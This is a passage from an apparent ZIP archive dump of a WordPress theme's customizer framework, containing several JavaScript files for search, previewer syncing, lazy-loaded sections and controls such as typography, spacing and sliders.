    search.resizeSearchResult = function ($searchResult, $control) {
        var resizeSearchContainer = function () {
            var wh = $control.height();
            $searchResult.height(wh - 90);
        };

        resizeSearchContainer();
        $(window).on('resize', resizeSearchContainer);
    };

    search.hookInput = function ($searchInput, $searchResult) {
        var timeout = null;
        $searchInput.on('input', function (e) {
            var value = $(this).val();
            clearTimeout(timeout);
            timeout = setTimeout(function () {
                value = value.trim();

                if (value.length >= 3) {
                    search.showLoader($searchResult);
                    var result = search.searchString(value);
                    result.done(search.buildSearchResult.bind($searchResult))
                }
            }, 500);
        });
    };

    search.showLoader = function (searchResult) {
        $(searchResult).find('.search-loader').removeClass('hidden');
    };

    search.hideLoader = function (searchResult) {
        $(searchResult).find('.search-loader').addClass('hidden');
    };

    search.compileTemplate = function (template, data) {
        var compiledTemplate = wp.template(template);
        return $(compiledTemplate(data));
    };

    search.buildSearchResult = function (responses) {
        var wrapper = this;
        var result = _.sortBy(responses, 'match').reverse();

        _.each(result, function (content, index) {
            var section = api.section(content.section);
            
            if(undefined != section ){
                var path = section.params.title;
                var panelID = api.section(content.section).panel();
            }

            if (panelID) {
                path = api.panel(panelID).params.title + " » " + path;
            }

            result[index]['path'] = path;
        });

        var html = search.compileTemplate('search-control', result);

        if (!result || result.length === 0) {
            html = '<div class="search-no-result">' + searchSetting.noResult + '</div>';
        }

        $(wrapper).find('.customizer-search-result-wrapper').html(html);
        search.hideLoader(wrapper);
    };

    search.focusControl = function (controlID) {
        var control = api.control(controlID);
        if (control) control.focus();
    };

    search.init = function(){
        var showSearch = false;
        var $header = $("#customize-header-actions");
        var $control = $("#customize-controls");

        search.buildElement($header, $control);

        var $searchWrapper = $('.customizer-search-wrapper');
        var $searchInput = $searchWrapper.find("input[type='text']");
        var $toggleButton = $searchWrapper.find('.customizer-search-toggle');
        var $toggleIcon = $searchWrapper.find('.customizer-search-toggle i');
        var $searchResult = $control.find('.customizer-search-result');
        var $overlay = $control.find('.customizer-search-overlay');

        search.resizeSearchResult($searchResult, $control);

        var openSearch = function () {
            $toggleIcon.removeClass('fa-search').addClass('fa-times');
            $searchWrapper.addClass('active');
            $searchResult.addClass('active');
            $overlay.addClass('active');
            $searchInput.focus();
            showSearch = true;
        };

        var closeSearch = function () {
            $toggleIcon.removeClass('fa-times').addClass('fa-search');
            $searchWrapper.removeClass('active');
            $searchResult.removeClass('active');
            $overlay.removeClass('active');
            showSearch = false;
            $searchInput.val('');
        };

        $toggleButton.on('click', function (e) {
            e.preventDefault();

            if (!showSearch) {
                openSearch();
            } else {
                closeSearch();
            }
        });
        
        $searchInput.on('keyup', function (e) {
            e.preventDefault();

            if (!showSearch) {
                openSearch();
            }
        });

        search.hookInput($searchInput, $searchResult);

        $searchResult.on('click', '.search-li', function () {
            var control = $(this).data('control');
            var section = $(this).data('section');

            var sectionAPI = api.section(section);
            closeSearch();

            if (sectionAPI.params.type === 'lazy') {
                if (sectionAPI.loaded) {
                    search.focusControl(control);
                } else {
                    var promise = sectionAPI.expand();
                    promise.done(function () {
                        search.focusControl(control);
                    });
                }
            } else {
                search.focusControl(control);
            }
        });
    };


    api.bind('ready', function () {
        search.init();
    });
})(wp.customize, jQuery);PK     N\q    E  inc/customizer/framework/assets/js/customizer/late-init-customizer.jsnu [        (function ($, api) {
    "use strict";

    api.Panel = api.Panel.extend({
        expand: function (params) {
            var panel = this.container[1];

            if (panel.id === 'sub-accordion-panel-soledad_fw_header' || panel.id === 'sub-accordion-panel-soledad_header') {
                $('body').trigger('soledad-fw-open-header-builder');
            }

            return this._toggleExpanded(true, params);
        }
    });

})(jQuery, wp.customize);
PK     N\k4[  [  ?  inc/customizer/framework/assets/js/customizer/previewer-sync.jsnu [        (function (api) {
    "use strict";

    if (!api.previewerSync) {
        api.previewerSync = {};
    }

    api.previewerSync = {
        styleOutput: [],
        redirectTag: [],
        partialRefresh: []
    };

    /**
     * Register Style output by save it on style output cache, and send it to previewer
     *
     * @param id
     * @param value
     * @param output
     */
    api.previewerSync.registerStyleOutput = function (id, value, output) {
        if (output.length) {
            _.each(output, function (style) {
                style.default = value;
            });

            var param = {
                id: id,
                output: output
            };

            this.styleOutput.push(param);
            this.sendStyleOutput(param);
        }
    };

    /**
     * Send style output to previewer
     *
     * @param param
     */
    api.previewerSync.sendStyleOutput = function (param) {
        api.previewer.send('register-style-output', param);
    };

    /**
     * Send cached style output to previewer
     */
    api.previewerSync.sendAllStyleOutput = function () {
        api.previewer.send('register-all-style-output', this.styleOutput);
    };


    /**
     * Send redirect tag to previewer
     *
     * @param param
     */
    api.previewerSync.sendRedirectTag = function (param) {
        api.previewer.send('register-redirect-tag', param);
    };

    /**
     * Send all redirect tag to previewer
     */
    api.previewerSync.sendAllRedirectTag = function () {
        api.previewer.send('register-all-redirect-tag', this.redirectTag);
    };

    /**
     * Register post variable (redirect tag)
     *
     * @param id
     * @param postvars
     */
    api.previewerSync.registerRedirectTag = function (id, postvars) {
        _.each(postvars, function (postvar) {
            if ('undefined' !== typeof postvar.redirect) {
                var param = {
                    id: id,
                    redirect: postvar.redirect,
                    refresh: postvar.refresh
                };

                this.redirectTag.push(param);
                this.sendRedirectTag(param);
            }
        }.bind(this));
    };

    /**
     * Send Partial refresh chunk to previewer
     *
     * @param param
     */
    api.previewerSync.sendPartialRefresh = function (param) {
        api.previewer.send('register-partial-refresh', param);
    };

    /**
     * Send all redirect tag to previewer
     */
    api.previewerSync.sendAllPartialRefresh = function () {
        api.previewer.send('register-all-partial-refresh', this.partialRefresh);
    };

    /**
     * Compose partial Name
     *
     * @param section
     * @param id
     * @returns {string}
     */
    api.previewerSync.partialRefreshId = function (section, id) {
        return partialSetting.patternTemplate.replace(/\{section\}/g, section).replace(/\{id\}/g, id);
    };

    /**
     * Register all partial refresh send by control-default
     *
     * @param setting
     * @param section
     * @param partials
     */
    api.previewerSync.registerPartialRefresh = function (setting, section, partials) {
        _.each(partials, function (partial, id) {
            if (typeof partial !== 'undefined') {
                var option = {
                    type: 'default',
                    fallbackRefresh: false,
                    containerInclusive: false,
                    settings: [setting],
                    primarySetting: setting,
                };

                var param = {
                    id: this.partialRefreshId(section, id),
                    param: _.extend(option, partials[id])
                };

                this.partialRefresh.push(param);
                this.sendPartialRefresh(param);
            }
        }.bind(this));
    };

    /**
     * Initialize connection between previewer & customizer panel
     * When previewer ready, we try to synchronize all registered additional setting
     * from customizer panel to previewer
     */
    api.previewerSync.initialize = function () {
        api.previewer.bind('ready', function () {
            api.previewerSync.sendAllStyleOutput();
            api.previewerSync.sendAllRedirectTag();
            api.previewerSync.sendAllPartialRefresh();
        });
    };

    /** Initialize */
    api.bind('ready', function () {
        api.previewerSync.initialize();
    });


})(wp.customize);
PK     N\|\FL  L  @  inc/customizer/framework/assets/js/customizer/active-callback.jsnu [        (function (api) {
    "use strict";

    if (!api.activeCallback) {
        api.activeCallback = {};
    }

    /**
     * Compare value
     *
     * @param value1
     * @param value2
     * @param compare
     * @returns {boolean}
     */
    api.activeCallback.compare = function (value1, value2, compare) {
        if (compare === '===') {
            return value1 === value2;
        }

        if (compare === '=' || compare === '==' || compare === 'equals' || compare === 'equal') {
            return value1 === value2;
        }

        if (compare === '!=') {
            return value1 !== value2;
        }

        if (compare === '!=' || compare === 'not equal') {
            return value1 !== value2;
        }

        if (compare === '>=' || compare === 'greater or equal' || compare === 'equal or greater') {
            return value1 >= value2;
        }

        if (compare === '<=' || compare === 'smaller or equal' || compare === 'equal or smaller') {
            return value1 <= value2;
        }

        if (compare === '>' || compare === 'greater') {
            return value1 > value2;
        }

        if (compare === '<' || compare === 'smaller') {
            return value1 < value2;
        }

        if (compare === 'in' || compare === 'contains') {
            var result = value1.indexOf(value2),
                high,
                low;
            if ( value1 instanceof Array && value2 instanceof Array ) {
                high = value1.length > value2.length ? value1 : value2
                low = value1.length > value2.length ? value2 : value1
                high.forEach(function(hiVal){
                    low.forEach(function(lowVal){
                        if ( hiVal == lowVal ) result++
                    })
                })
            }
            return result >= 0;
        }
    };

    /**
     * Get status for given rule
     *
     * @param rules
     * @returns {boolean}
     */
    api.activeCallback.getStatus = function (rules) {
        var flag = true;

        _.each(rules, function (rule) {
            var control = api.control(rule.setting);
            if (control) {
                var setting = api.control(rule.setting).setting,
                    value1 = rule.value,
                    value2 = setting.get()
                if (value2 instanceof Array && value2.length == 0 && !(value1 instanceof Array)) {
                    value1 = setting.get()
                    value2 = rule.value
                }
                if (value2 instanceof Object && !(value2 instanceof Array)) {
                    var keys = []
                    for ( var item in value2 ) {
                        if ( value2.hasOwnProperty(item) )
                        keys.push(value2[item])
                    }
                    value1 = keys
                    value2 = rule.value
                }
                flag = flag && api.activeCallback.compare(value1, value2, rule.operator);
            } else {
                console.log("[Active Callback] Control not exist : " + rule.setting);
            }
        });

        return flag;
    };

    /**
     * set control active status
     *
     * @param control
     * @param rules
     * @returns {*}
     */
    api.activeCallback.setActiveStatus = function (control, rules) {
        var active_status = api.activeCallback.getStatus(rules);
        control.active.set(active_status);
        return active_status;
    };

    /**
     * Register every rule for active callback
     *
     * @param control
     * @param rules
     */
    api.activeCallback.registerActiveRule = function (control, rules) {
        var activeStatus = this.setActiveStatus;

        if (control.params.active_rule !== null) {
            activeStatus(control, rules);

            _.each(rules, function (active) {
                var controlParent = api.control(active.setting);

                if ( controlParent ) {
                    controlParent.setting.bind(function () {
                        var result = activeStatus(control, rules);
                        var obj = {
                            id: control.params.settings.default,
                            result: result
                        };
                        api.previewer.send('active-callback-control-output', obj);
                    });
                }
            });
        }
    };


})(wp.customize);
PK     N\V    C  inc/customizer/framework/assets/js/customizer/customizer-preview.jsnu [        (function (api) {
    "use strict";

    api.bind('preview-ready', function () {
        /**
         * Listen if dynamic setting being added on customizer panel and assign on previewer
         */
        api.preview.bind('customize-add-setting', function (setting) {
            if (!api.has(setting.id)) {
                api.create(setting.id, setting.value, {
                    id: setting.id
                });
            }
        });
    });
})(wp.customize);
PK     N\QdM  M  H  inc/customizer/framework/assets/js/customizer/partial-refresh-preview.jsnu [        (function (api) {
    "use strict";

    if (!api.partialRefresh) {
        api.partialRefresh = {};
    }

    api.partialRefresh = {
        partialRefreshCache: []
    };

    /**
     * Add partial setting
     *
     * @param object
     */
    api.partialRefresh.bindSetting = function (object) {
        var partial = new api.selectiveRefresh.Partial(
            object.id,
            object.param
        );
        api.selectiveRefresh.partial.add(partial);
    };

    /**
     * Bind Setting for partial refresh
     */
    api.partialRefresh.initialize = function () {
        api.preview.bind('register-partial-refresh', function (object) {
            api.partialRefresh.bindSetting(object);
        });

        api.preview.bind('register-all-partial-refresh', function (objects) {
            _.each(objects, function (object) {
                api.partialRefresh.bindSetting(object);
            });
        });
    };

    /**
     * Initialize partial refresh
     */
    api.bind('preview-ready', function () {
        api.partialRefresh.initialize();
    });

})(wp.customize);
PK     N\OUh=    E  inc/customizer/framework/assets/js/customizer-section/lazy-section.jsnu [        (function($, api) {
  "use strict";

  api.sectionConstructor.lazy = api.sectionConstructor.default.extend({
    loaded : false,
    loadingContainer: null,
    opened: false,
    dependency: null,
    promise: null,

    ready: function() {
      var section = this;

      api.sectionConstructor.default.prototype.ready.call( section );

      section.deferred.embedded.done(function() {
        section.setupSectionActions();
      });
    },

    /**
     * Setup section when loaded
     */
    setupSectionActions: function(){

      var section = this, sectionLoadingTemplate, descriptionContainer;

      sectionLoadingTemplate = wp.template( 'customize-lazy-section-loading' );

      section.loadingContainer = $(sectionLoadingTemplate({
        loading: 'Loading Control'
      }));

      descriptionContainer = section.container.find( '.section-meta:first' );

      descriptionContainer.after( section.loadingContainer );
    },

    /**
     * Allow an active panel to be contextually active even when it has no active controls.
     *
     * @returns {boolean} Whether contextually active.
     */
    isContextuallyActive: function() {
      var section = this;
      return section.active();
    },
    /**
     * Load Control
     *
     * @returns $.promise
     */
    loadControl : function () {
      var section = this;
      section.dependency = [];
      section.buildDependency(section.params.id);

      return wp.ajax.send({
        url: lazySetting.ajaxUrl,
        data: {
          nonce: lazySetting.nonce,
          sections: section.dependency.reverse()
        }
      });
    },

    /**
     * Build recursive dependency tree
     * @param sectionID
     * @returns {*}
     */
    buildDependency: function(sectionID){
      var element = this;
      var section = api.section(sectionID);
      var dependency = section.params.dependency;

      if(!section.loaded && element.dependency.indexOf(sectionID) <= 0) {
        element.dependency.push(sectionID);
        if(dependency.length > 0){
          _.each(dependency, function(sectionID){
            element.buildDependency(sectionID);
          });
        }
      }
    },

    /**
     * Create Customizer Setting
     *
     * @param settingParams
     * @param id
     */
    createSetting: function(settingParams, id) {
      if (!api.has(id)) {
        var setting = new api.Setting(id, settingParams.value, settingParams);

        api.add( id, setting );

        // Send Dynamic Setting to Customizer Preview
        api.previewer.send('customize-add-setting', {
          id: id,
          value: settingParams.value,
          params: settingParams
        });
      }
    },

    /**
     * Create Customizer Control
     * @param option
     * @param id
     */
    createControl: function(option, id) {
      var _type = option.type;
      var control = new api.controlConstructor[_type]( id, {
        params: option
      });
      api.control.add( control.id, control );
    },

    /**
     * Proceed to create control by response
     *
     * @param responses
     */
    addControl : function (responses) {
      var that = this;

      if(responses.length === 0) {
        that.finishLoading(that.id);
      }

      // Assign Control & Setting
      _.each(responses, function(response, sectionID){
        var section = api.section(sectionID);

        // Create Setting
        _.each(response, function(option){
          section.createSetting(option['setting'], option['settingId']);
        });

        // Create Control
        _.each(response, function(option, id){
          section.createControl(option['control'], id);
        });
      });

      // Send complete flag
      _.each(responses, function(response, sectionID){
        that.finishLoading(sectionID)
      });
    },


    finishLoading: function(sectionID){
        var section = api.section(sectionID);

        section.loaded = true;
        api.section.trigger(section.id, section);

        section.loadingContainer.fadeOut('slow', function(){
            $(this).remove();
            if(section.promise) {
                section.promise.resolve();
            }
        });
    },

    /**
     * Give promise to caller
     *
     * @returns $.Deferred
     */
    loadControlPromise: function(){
      var section = this;
      this.promise = $.Deferred();

      var control = section.loadControl();
      control.done(section.addControl.bind(this));

      return this.promise;
    },

    /**
     * handle expand
     *
     * @param params
     * @returns {*|Boolean}
     */
    expand : function(params) {
      var section = this;

      api.sectionConstructor.default.prototype.expand.call(this, params);

      if(!section.loaded)
      {
        return this.loadControlPromise();
      }
    }
  });

})(jQuery, wp.customize);
PK     N\Ex/  /  E  inc/customizer/framework/assets/js/customizer-section/link-section.jsnu [        ;(function ($, api) {
  'use strict'

  api.sectionConstructor.link = api.Section.extend({
    // No events for this type of section.
    attachEvents: function () {},

    // Always make the section active.
    isContextuallyActive: function () {
      return true
    },
  })
})(jQuery, wp.customize)
PK     N\܋3    H  inc/customizer/framework/assets/js/customizer-section/default-section.jsnu [        ( function($, api) {
  "use strict";
  
  api.sectionConstructor.default = api.Section.extend({
    expand : function(params)
    {
      var section = this.container[1];
      
      if(!$(section).hasClass('soledad-fw-section-loaded'))
      {
        $(section).addClass('soledad-fw-section-loaded').trigger('soledad-fw-open-section');
      }
      
      api.Section.prototype.expand.call(this, params);
    }
  });
  
  
})( jQuery, wp.customize );
PK     N\,)    M  inc/customizer/framework/assets/js/customizer-control/control-range-slider.jsnu [        (function($, api){
    "use strict";

    api.controlConstructor['soledad-fw-range-slider'] = api.controlConstructor.default.extend({

        get_number: function(selector, name){
            return parseInt($(selector).attr(name));
        },

        ready: function() {
            'use strict';

            var control = this;
            var slider = $(this.container).find('.slider-range');

            var min     = this.get_number(slider, 'min');
            var max     = this.get_number(slider, 'max');
            var range   = this.get_number(slider, 'range');
            var step    = this.get_number(slider, 'step');

            $(slider).ionRangeSlider({
                min: min,
                max: max,
                from: range,
                from_min: min,
                from_max: max,
                grid: true,
                postfix: "px",
                onChange: function (data) {
                    control.setting.set( data.from );
                }
            });
        }
    });
})(jQuery, wp.customize);
PK     N\]$  ]$  K  inc/customizer/framework/assets/js/customizer-control/control-typography.jsnu [        wp.customize.controlConstructor['soledad-fw-typography'] = wp.customize.controlConstructor.default.extend({

	ready: function() {

		'use strict';
		var control               = this,
			fontFamilySelector    = control.selector + ' .font-family select',
			variantSelector       = control.selector + ' .variant select',
			subsetSelector        = control.selector + ' .subsets select',
			textTransformSelector = control.selector + ' .text-transform select',
			hasDefault            = false,
			firstAvailable        = false,
			activeItem,
			value = {},
			renderSubControl,
			picker;

		// Make sure everything we're going to need exists.
		_.each( control.params['default'], function( defaultParamValue, param ) {
			if ( false !== defaultParamValue ) {
				value[ param ] = defaultParamValue;
				if ( undefined !== control.setting._value[ param ] ) {
					value[ param ] = control.setting._value[ param ];
				}
			}
		});
		_.each( control.setting._value, function( subValue, param ) {
			if ( undefined === value[ param ] || 'undefined' === typeof value[ param ] ) {
				value[ param ] = subValue;
			}
		});

		// Renders and refreshes selectize sub-controls.
		renderSubControl = function( fontFamily, sub, startValue ) {

			var subSelector = ( 'variant' === sub ) ? variantSelector : subsetSelector,
				isStandard = false,
				subList = {},
				subValue,
				subsetValues,
				subsetValuesArray,
				subSelectize;

			// Destroy the selectize instance.
			if ( undefined !== jQuery( subSelector ).selectize()[0] ) {
				jQuery( subSelector ).selectize()[0].selectize.destroy();
			}

			// Get all items in the sub-list for the active font-family.
			_.each( soledadAllFonts, function( font, i ) {

				// Find the font-family we've selected in the global array of fonts.
				if ( fontFamily === font.family ) {

					// Check if this is a standard font or a google-font.
					if ( undefined !== font.isStandard && true === font.isStandard ) {
						isStandard = true;
					}

					if ( 'variant' === sub ) {
						subList = font.variants;
					} else if ( 'subsets' === sub ) {
						subList = font.subsets;
					}

				}

			});

			// This is a googlefont, or we're talking subsets.
			if ( false === isStandard || 'subsets' !== sub ) {

				// Determine the initial value we have to use
				if ( null === startValue  ) {

					if ( 'variant' === sub ) { // The context here is variants

						// Loop the variants.
						_.each( subList, function( variant ) {

							var defaultValue;

							if ( undefined !== variant.id ) {

								activeItem = value.variant;

							} else {

								defaultValue = 'regular';

								if ( defaultValue === variant.id ) {
									hasDefault = true;
								} else if ( false === firstAvailable ) {
									firstAvailable = variant.id;
								}

							}

						});

					} else if ( 'subsets' === sub ) { // The context here is subsets

						subsetValues = {};

						_.each( subList, function( subSet ) {
							if ( null !== value.subsets ) {
								_.each( value.subsets, function( item ) {
									if ( undefined !== subSet && item === subSet.id ) {
										subsetValues[ item ] = item;
									}
								});
							}
						});

						if ( 0 !== subsetValues.length ) {
							subsetValuesArray = jQuery.map( subsetValues, function( value, index ) {
								return [value];
							});
							activeItem = subsetValuesArray;
						}

					}

					// If we have a valid setting, use it.
					// If not, check if the default value exists.
					// If not, then use the 1st available option.
					subValue = ( undefined !== activeItem ) ? activeItem : ( false !== hasDefault ) ? 'regular' : firstAvailable;

				} else {

					subValue = startValue;

				}

				// Create
				subSelectize = jQuery( subSelector ).selectize({
					maxItems:    null,
					valueField:  'id',
					labelField:  'label',
					searchField: ['label'],
					options:     subList,
					items:       subValue,
					create:      false,
					plugins:     ['remove_button'],
					render: {
						item: function( item, escape ) {
							return '<div>' + escape( item.label ) + '</div>';
						},
						option: function( item, escape ) {
							return '<div>' + escape( item.label ) + '</div>';
						}
					}
				}).data( 'selectize' );

			}

			if ( true === isStandard ) {

				// Hide unrelated fields on standard fonts.
				control.container.find( '.hide-on-standard-fonts' ).css( 'display', 'none' );
			} else {

				if ( 2 > subList.length ) {

					// If only 1 option is available then there's no reason to show this.
					control.container.find( '.soledad-fw-' + sub + '-wrapper' ).css( 'display', 'none' );
				} else {
					control.container.find( '.soledad-fw-' + sub + '-wrapper' ).css( 'display', 'block' );
				}

			}

		};

		// Render the font-family
		var fontFamily = jQuery( fontFamilySelector ).selectize({
			options:     soledadAllFonts,
			items:       [ control.setting._value['font-family'] ],
			persist:     false,
			maxItems:    1,
			valueField:  'family',
			labelField:  'label',
			searchField: ['family', 'label', 'subsets'],
			create:      false,
			render: {
				item: function( item, escape ) {
					return '<div>' + escape( item.label ) + '</div>';
				},
				option: function( item, escape ) {
					return '<div>' + escape( item.label ) + '</div>';
				}
			}
		});

		// Render the variants
		// Please note that when the value of font-family changes,
		// this will be destroyed and re-created.
		renderSubControl( value['font-family'], 'variant', value.variant );

		// Render the subsets
		// Please note that when the value of font-family changes,
		// this will be destroyed and re-created.
		renderSubControl( value['font-family'], 'subsets', value.subsets );


		var fontFamilyControl = fontFamily[0].selectize;
		fontFamilyControl.on('change', function() {

			// clear variant
			var variant = jQuery(variantSelector);
			variant = variant[0].selectize;
			variant.clear();

			// clear subset
			var subset = jQuery(subsetSelector);
			subset = subset[0].selectize;
			subset.clear();
		});


		this.container.on( 'change', '.font-family select', function() {

			// Add the value to the array and set the setting's value
			value['font-family'] = jQuery( this ).val();
			control.saveValue( value );

			// Trigger changes to variants & subsets
			renderSubControl( jQuery( this ).val(), 'variant', null );
			renderSubControl( jQuery( this ).val(), 'subsets', null );

			// Refresh the preview
			if(control.setting.transport === 'refresh') wp.customize.previewer.refresh();

		});

		this.container.on( 'change', '.variant select', function() {

			// Add the value to the array and set the setting's value
			value.variant = jQuery( this ).val();
			control.saveValue( value );

			// Refresh the preview
			if(control.setting.transport === 'refresh') wp.customize.previewer.refresh();

		});

		this.container.on( 'change', '.subsets select', function() {

			// Add the value to the array and set the setting's value.
			value.subsets = jQuery( this ).val();
			control.saveValue( value );

			// Refresh the preview
			if(control.setting.transport === 'refresh') wp.customize.previewer.refresh();

		});

		this.container.on( 'change keyup paste', '.font-size input', function() {

			// Add the value to the array and set the setting's value
			value['font-size'] = jQuery( this ).val();
			control.saveValue( value );

		});

		this.container.on( 'change keyup paste', '.line-height input', function() {

			// Add the value to the array and set the setting's value
			value['line-height'] = jQuery( this ).val();
			control.saveValue( value );

		});

		this.container.on( 'change keyup paste', '.letter-spacing input', function() {

			// Add the value to the array and set the setting's value
			value['letter-spacing'] = jQuery( this ).val();
			control.saveValue( value );

		});

		this.container.on( 'change', '.text-align input', function() {

			// Add the value to the array and set the setting's value.
			value['text-align'] = jQuery( this ).val();
			control.saveValue( value );

		});

		// Text-transform
		jQuery( textTransformSelector ).selectize();
		this.container.on( 'change', '.text-transform select', function() {

			// Add the value to the array and set the setting's value.
			value['text-transform'] = jQuery( this ).val();
			control.saveValue( value );

		});

		picker = this.container.find( '.soledad-fw-color-control' );

		// Change color
		picker.wpColorPicker({
			change: function() {
				setTimeout( function() {
					value.color = picker.val();
					control.saveValue( value );

					// Refresh the preview
					if(control.setting.transport === 'refresh') wp.customize.previewer.refresh();
				}, 100 );
			}
		});

		this.container.find('.wp-picker-clear').on('click', function(){
			setTimeout( function() {
				value.color = picker.val();
				control.saveValue( value );
					
				// Refresh the preview
				if(control.setting.transport === 'refresh') wp.customize.previewer.refresh();
			}, 100 );
		});
	},

	/**
	 * Saves the value.
	 */
	saveValue: function( value ) {
        'use strict';

		var control  = this,
			newValue = {};

		_.each( value, function( newSubValue, i ) {
			newValue[ i ] = newSubValue;
		});

		control.setting.set( newValue );
	}

});
PK     N\n#W  W  L  inc/customizer/framework/assets/js/customizer-control/control-radio-image.jsnu [        (function($, api){
    "use strict";

	api.controlConstructor['soledad-fw-radio-image'] = api.controlConstructor.default.extend({
		ready: function() {
			var control = this;

			// Change the value
			this.container.on( 'click', 'input', function() {
				control.setting.set( jQuery( this ).val() );
			});
		}
	});
})(jQuery, wp.customize);
PK     N\I    H  inc/customizer/framework/assets/js/customizer-control/control-spacing.jsnu [        wp.customize.controlConstructor['soledad-fw-spacing'] = wp.customize.controlConstructor.default.extend({

	ready: function() {

		'use strict';

		var control = this,
		    value = {};

		_.each( ['top', 'bottom', 'left', 'right'], function( dimension, index ) {

			// Get initial values and pre-populate the object.
			if ( control.container.has( '.' + dimension ).size() ) {

				value[ dimension ] = control.setting._value[ dimension ];

				// Validate the value and show a warning if it's invalid.
				jQuery( control.selector + ' .' + dimension + '.input-wrapper' ).removeClass( 'invalid' );
				// if ( false === soledadValidateCSSValue( control.setting._value[ dimension ] ) ) {
				//	jQuery( control.selector + ' .' + dimension + '.input-wrapper' ).addClass( 'invalid' );
				//}

				control.container.on( 'change keyup paste', '.' + dimension + ' input', function() {

					var subValue = jQuery( this ).val();

					// Validate the value and show a warning if it's invalid.
					if ( false === soledadValidateCSSValue( subValue ) ) {

						jQuery( control.selector + ' .' + dimension + '.input-wrapper' ).addClass( 'invalid' );

					} else {

						jQuery( control.selector + ' .' + dimension + '.input-wrapper' ).removeClass( 'invalid' );

						// Only proceed if value is valid.
						value[ dimension ] = subValue;

						var string = JSON.stringify(value);
						control.setting.set( string );

						// Refresh the preview.
						// The `postMessage` implementation is still incomplete for this field.
						if(control.setting.transport === 'refresh') wp.customize.previewer.refresh();
					}

				});

			}

		});

	},

	getValue: function() {
		'use strict';
		// The setting is saved in JSON
		return JSON.parse( this.setting.get() );

	},

});
PK     N\r`1    G  inc/customizer/framework/assets/js/customizer-control/control-toggle.jsnu [        (function(api, $){
    "use strict";

	api.controlConstructor['soledad-fw-toggle'] = api.controlConstructor.default.extend({
		ready: function() {
			var control = this,
					checkboxValue = control.setting._value;

			// Save the value
			this.container.on( 'change', 'input', function() {
				checkboxValue = ( $( this ).is( ':checked' ) ) ? true : false;
				control.setting.set( checkboxValue );
			});
		}
	});
})(wp.customize, jQuery);
PK     N\e
̰    E  inc/customizer/framework/assets/js/customizer-control/control-text.jsnu [        ;(function ($, api) {
  'use strict'

  api.controlConstructor['soledad-fw-text'] = api.controlConstructor.default.extend({
    ready: function () {
      var control = this

      this.container.on('change click keyup paste', 'input', function () {
        control.setting.set($(this).val())
      })
    },
  })

  api.controlConstructor['soledad-fw-password'] = api.controlConstructor['soledad-fw-text']
})(jQuery, wp.customize)
PK     N\    G  inc/customizer/framework/assets/js/customizer-control/control-select.jsnu [        /*jshint -W065 */
wp.customize.controlConstructor['soledad-fw-select'] = wp.customize.controlConstructor.default.extend({

	ready: function() {

		'use strict';

		var control = this,
			section = jQuery(this.container).parents('.control-section').first();

		var element = control.container.find( 'select' ),
			multiple = parseInt( element.data( 'multiple' ) ),
			selectValue;
		
		// If this is a multi-select control,
		// then we'll need to initialize selectize using the appropriate arguments.
		// If this is a single-select, then we can initialize selectize without any arguments.
		if ( multiple > 1 ) {
			jQuery( element ).selectize({
				maxItems: multiple,
				allowEmptyOption:true,
				plugins: ['remove_button', 'drag_drop']
			});
		} else {
			jQuery( element ).selectize({
				allowEmptyOption:true,
			});
		}

		// Change value
		control.container.on( 'change', 'select', function() {
			selectValue = jQuery( this ).val();

			// If this is a multi-select, then we need to convert the value to an object.
			if ( multiple > 1 ) {
				selectValue = _.extend( {}, jQuery( this ).val() );
			}

			control.setting.set( selectValue );
		});
	}

});
PK     N\ߗ7c  c  H  inc/customizer/framework/assets/js/customizer-control/control-default.jsnu [        (function(api){
  "use strict";

  /**
   * Extend control functionality
   *
   * @param control
   * @param id
   * @param options
   */
  window.extendControl = function(control, id, options){
    // need to fetch default setting used for control
    var setting = options.params.settings.default;

    // Post Parameter (post var)
    api.previewerSync.registerRedirectTag(setting, options.params.postvar);

    // Style Output
    api.previewerSync.registerStyleOutput(setting, options.params.default, options.params.output);

    // only Register Partial Refresh when control created dynamically
    if(options.params.dynamic) {
      api.previewerSync.registerPartialRefresh(setting, control.section.get(), options.params.partial_refresh)
    }

    // Active Callback
    api.activeCallback.registerActiveRule(control, options.params.active_rule);
  };

  /**
   * Initialize control
   *
   * @param control
   * @param id
   * @param options
   */
  window.initializeControl = function(control, id, options){
    var sectionId = options.params.section;

    // if control is normal, extend control right away
    if(!control.params.dynamic) {
      window.extendControl(control, id, options);
    }

    api.section.bind(sectionId, function(section){
      if(section.loaded && control.params.dynamic) {
        window.extendControl(control, id, options);
      }
    });
  };

  api.controlConstructor.default = api.Control.extend({
    initialize: function( id, options ) {
      api.Control.prototype.initialize.call( this, id, options );
      window.initializeControl(this, id, options);
    },
  });

})(wp.customize);
PK     N\W{    G  inc/customizer/framework/assets/js/customizer-control/control-slider.jsnu [        (function($, api){
    "use strict";

	api.controlConstructor['soledad-fw-slider'] = api.controlConstructor.default.extend({
		ready: function() {
			var control = this,
				value,
				thisInput,
				inputDefault,
				$range = $('input[type=range]'),
				$reset = $('.soledad-fw-slider-reset');

			// Update the text value
			$range.on( 'mousedown', function() {
				$( this ).mousemove( function() {
					value = $( this ).val();
					$( this ).closest( 'label' ).find( '.soledad_fw_range_value .value' ).text( value );
				});
			});

			$range.on( 'click', function() {
				value = $( this ).val();
				$( this ).closest( 'label' ).find( '.soledad_fw_range_value .value' ).text( value );
			});

			// Handle the reset button
			$reset.on( 'click', function() {
				thisInput    = $( this ).closest( 'label' ).find( 'input' );
				inputDefault = thisInput.data( 'reset_value' );
				thisInput.val( inputDefault );
				thisInput.change();
				$( this ).closest( 'label' ).find( '.soledad_fw_range_value .value' ).text( inputDefault );
			});

			// Save changes.
			this.container.on( 'change', 'input', function() {
				control.setting.set( $( this ).val() );
			});
		}
	});
})(jQuery, wp.customize);
PK     N\=8jL  L  F  inc/customizer/framework/assets/js/customizer-control/control-radio.jsnu [        (function($, api){
    "use strict";

	api.controlConstructor['soledad-fw-radio'] = api.controlConstructor.default.extend({
		ready: function() {
			var control = this;

			// Change the value
			this.container.on( 'click', 'input', function() {
				control.setting.set( $( this ).val() );
			});
		}
	});
})(jQuery, wp.customize);
PK     N\6"c  c  G  inc/customizer/framework/assets/js/customizer-control/control-preset.jsnu [        (function ($, api) {
  "use strict";

  api.controlConstructor['soledad-fw-preset'] = api.controlConstructor.default.extend({
    ready: function () {
      var control = this,
        selectValue,
        element = control.container.find( 'select' );

      $( element ).selectize();

      // Trigger a change
      this.container.on('change', 'select', function () {

        // Get the control's value
        selectValue = $(this).val();

        // Update the value using the customizer API and trigger the "save" button
        control.setting.set(selectValue);

        // We have to get the choices of this control
        // and then start parsing them to see what we have to do for each of the choices.
        $.each(control.params.choices, function (key, value) {

          // If the current value of the control is the key of the choice,
